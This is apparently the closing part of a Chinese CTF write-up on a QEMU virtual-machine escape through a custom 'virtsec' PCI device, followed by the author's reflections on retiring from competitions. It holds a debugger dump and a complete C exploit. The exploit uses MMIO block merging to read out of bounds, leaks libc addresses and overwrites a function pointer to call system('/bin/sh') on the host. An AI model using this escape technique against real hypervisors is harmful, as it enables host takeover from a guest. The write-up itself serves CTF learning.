0x7e128710fdb0 vmovdqu ymm8, ymmword ptr [rsi + 0x2000]
0x7e128710fdb8 vmovdqu ymm9, ymmword ptr [rsi + 0x2020]
0x7e128710fdc0 vmovdqu ymm10, ymmword ptr [rsi + 0x2040]
0x7e128710fdc8 vmovdqu ymm11, ymmword ptr [rsi + 0x2060]
0x7e128710fdd0 vmovdqu ymm12, ymmword ptr [rsi + 0x3000]
0x7e128710fdd8 vmovdqu ymm13, ymmword ptr [rsi + 0x3020]
0x7e128710fde0 vmovdqu ymm14, ymmword ptr [rsi + 0x3040]
0x7e128710fde8 vmovdqu ymm15, ymmword ptr [rsi + 0x3060]
0x7e128710fdf0 sub rsi, -0x80
0x7e128710fdf4 vmovntdq ymmword ptr [rdi], ymm0
0x7e128710fdf8 vmovntdq ymmword ptr [rdi + 0x20], ymm1
───────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7e1286350d88 —▸ 0x5665781e134d (virtsec_mmio_write+333) ◂— cmp dword ptr [rbp - 0x18], 0
01:0008-050 0x7e1286350d90 ◂— 0x486350dd0
02:0010-048 0x7e1286350d98 ◂— 0x87147678
03:0018-040 0x7e1286350da0 ◂— 0x1108
04:0020-038 0x7e1286350da8 —▸ 0x56659bbe6d90 —▸ 0x56659ac6d190 —▸ 0x56659ab32400 —▸ 0x56659ab32580 ◂— ...
05:0028-030 0x7e1286350db0 ◂— 0x1f0000110c
06:0030-028 0x7e1286350db8 ◂— 0x108ffffffff
07:0038-020 0x7e1286350dc0 ◂— 0xffffff0800000108
─────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────
0 0x7e128710fdb0 None
1 0x5665781e134d virtsec_mmio_write+333
2 0x5665786642da memory_region_write_accessor+250
3 0x566578664615 access_with_adjusted_size+528
4 0x566578667b96 memory_region_dispatch_write+342
5 0x5665786bc40f int_st_mmio_le+107
6 0x5665786bc58f do_st_mmio_le+241
7 0x5665786bce29 do_st_4+126
─────────────────────────────────────────────────────────────────────────[ THREADS (4 TOTAL) ]─────────────────────────────────────────────────────────────────────────
3 "qemu-system-x86" stopped: 0x7e128710fdb0
1 "qemu-system-x86" stopped: 0x7e12870002c0
2 "qemu-system-x86" stopped: 0x7e128708d8fd <daemon+77>
4 "qemu-system-x86" stopped: 0x7e12870002c0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

总的来说好像也没什么要操作的,简单题 :)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

#define VIRTSEC_CMD_REG 0x0C
#define VIRTSEC_CMD_ARG_REG 0x10
#define VIRTSEC_BLOCK_ID_REG 0x14
#define VIRTSEC_BLOCK_SIZE_REG 0x18
#define VIRTSEC_MERGE_BLOCK1_ID_REG 0x30
#define VIRTSEC_MERGE_BLOCK2_ID_REG 0x34
#define VIRTSEC_GIFT_REG 0x38

#define CMD_INIT 1
#define CMD_ALLOC_BLOCK 2
#define CMD_MERGE_BLOCKS 4
#define CMD_RESET 6

void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void info(char *msg){
printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

void * mmio_mem;

uint32_t mmio_read32(uint64_t addr){
return *(uint32_t *)(mmio_mem + addr);
}

void mmio_write32(uint64_t addr, uint32_t val){
*(uint32_t *)(mmio_mem + addr) = val;
}

void execute_cmd(uint32_t cmd) {
mmio_write32(VIRTSEC_CMD_REG, cmd);
}

void alloc_block(uint32_t id, uint32_t size) {
mmio_write32(VIRTSEC_BLOCK_SIZE_REG, size);
mmio_write32(VIRTSEC_BLOCK_ID_REG, id);
execute_cmd(CMD_ALLOC_BLOCK);
}

void merge_blocks(uint32_t id1, uint32_t id2) {
mmio_write32(VIRTSEC_MERGE_BLOCK1_ID_REG, id1);
mmio_write32(VIRTSEC_MERGE_BLOCK2_ID_REG, id2);
execute_cmd(CMD_MERGE_BLOCKS);
}

void write_to_block(uint32_t id, uint32_t offset, uint32_t value) {
mmio_write32(VIRTSEC_BLOCK_ID_REG, id);
mmio_write32(0x1000 + offset, value);
}

uint32_t read_from_block(uint32_t id, uint32_t index){
mmio_write32(VIRTSEC_BLOCK_ID_REG, id);
return mmio_read32(0x1000 + index);
}

void dump_block(uint32_t id, size_t total_len){
uint8_t *buf = malloc(total_len);
if(!buf) err_exit("malloc");
for(size_t off=0; off<total_len; off+=4){
uint32_t v = read_from_block(id, (uint32_t)off);
size_t n = total_len - off >= 4 ? 4 : total_len - off;
memcpy(buf + off, &v, n);
}
binary_dump("merged_block", buf, (int)(total_len + 0x10));
free(buf);
}

uint64_t read64_from_block(uint32_t id, uint32_t index){
uint32_t lo = read_from_block(id, index);
uint32_t hi = read_from_block(id, index + 4);
return ((uint64_t)hi << 32) | lo;
}

void write64_for_block(uint32_t id, uint32_t index, uint64_t value){
mmio_write32(VIRTSEC_BLOCK_ID_REG, id);
mmio_write32(0x1000 + index, (uint32_t)value);
mmio_write32(0x1000 + index + 4, (uint32_t)(value >> 32));
}

void write64_gift_via_merge(uint32_t target_id, uint64_t new_func, uint64_t new_str){
uint32_t tmp = 99;
alloc_block(tmp, 16);
write_to_block(tmp, 0, (uint32_t)new_func);
write_to_block(tmp, 4, (uint32_t)(new_func >> 32));
write_to_block(tmp, 8, (uint32_t)new_str);
write_to_block(tmp, 12, (uint32_t)(new_str >> 32));
merge_blocks(target_id, tmp);
}

void rebuild_block1_to_256(){
execute_cmd(CMD_RESET);
execute_cmd(CMD_INIT);
for (uint32_t i = 1; i <= 16; i++) alloc_block(i, 16);
for (uint32_t i = 2; i <= 16; i++) merge_blocks(1, i);
}

int main()
{
if (iopl(3) !=0 ){
perror("I/O permission is not enough");
exit(-1);
}

int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1) {
perror("[-] failed to open mmio.");
exit(EXIT_FAILURE);
}

mmio_mem = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) {
perror("[-] failed to mmap mmio.");
exit(EXIT_FAILURE);
}

info("MMIO memory mapped successfully.");
execute_cmd(CMD_INIT);
info("Device initialized.");

info("Allocating 16 blocks of size 16 to fill the buffer...");
for (uint32_t i = 1; i <= 16; i++) {
alloc_block(i, 16);
}
info("Buffer filled.");

char* payload = "THIS_IS_PWNED\n";
write_to_block(2, 0, ((uint32_t*)payload)[0]);
write_to_block(2, 4, ((uint32_t*)payload)[1]);
write_to_block(2, 8, ((uint32_t*)payload)[2]);
write_to_block(2, 12, ((uint32_t*)payload)[3]);

info("Merging blocks 2 through 16 into block 1...");
for (uint32_t i = 2; i <= 16; i++) {
merge_blocks(1, i);
}
info("Block 1 now has size 256.");

info("Allocating a new block (ID 17)...");
alloc_block(17, 16);

info("Merging block 1 and 17...");
merge_blocks(1, 17);
info("Block 1 now has size 272.");

info("Dumping merged block 1 (272 bytes)...");
dump_block(1, 272);

mmio_write32(VIRTSEC_GIFT_REG, 1337);
uint64_t printf_addr = read64_from_block(1, 256);
hexx("printf_addr", printf_addr);

size_t rdi = read64_from_block(1, 256+8);
hexx("rdi", rdi);

size_t libc_base = printf_addr - 0x606f0;
size_t system = libc_base + 0x50d70;
size_t binsh = libc_base + 0x1d8678;

rebuild_block1_to_256();
write64_gift_via_merge(1, system, binsh);
uint64_t new_func = read64_from_block(1, 256);
uint64_t new_str = read64_from_block(1, 264);
hexx("new_gift_func", new_func);
hexx("new_gift_str", new_str);

mmio_write32(VIRTSEC_GIFT_REG, 1337);

return 0;
}

这个逃逸成功的界面有种莫名其妙的美 :)

写到最后

这周末的强网杯决赛将会是我的 last dance 了,回想我在 CTF 届的这两年半经历了很多挫折也取得了很多成就(实际上就学了一年多一点点,然后就一直吃老本原地踏步了🤣),从一个眼里看谁都是大佬的萌新到现在这根老油条。我发现我对比赛的热情在不断的流逝且已经所剩无几,我在赛场上时不再有以前那种狂热感,真想马上退役。感觉还是有很多遗憾,可是有遗憾的结局才是美好的 :)

这次比赛也有挺多收获,比如认识了好几个新的师傅并加上了微信或者 QQ 的好友 :)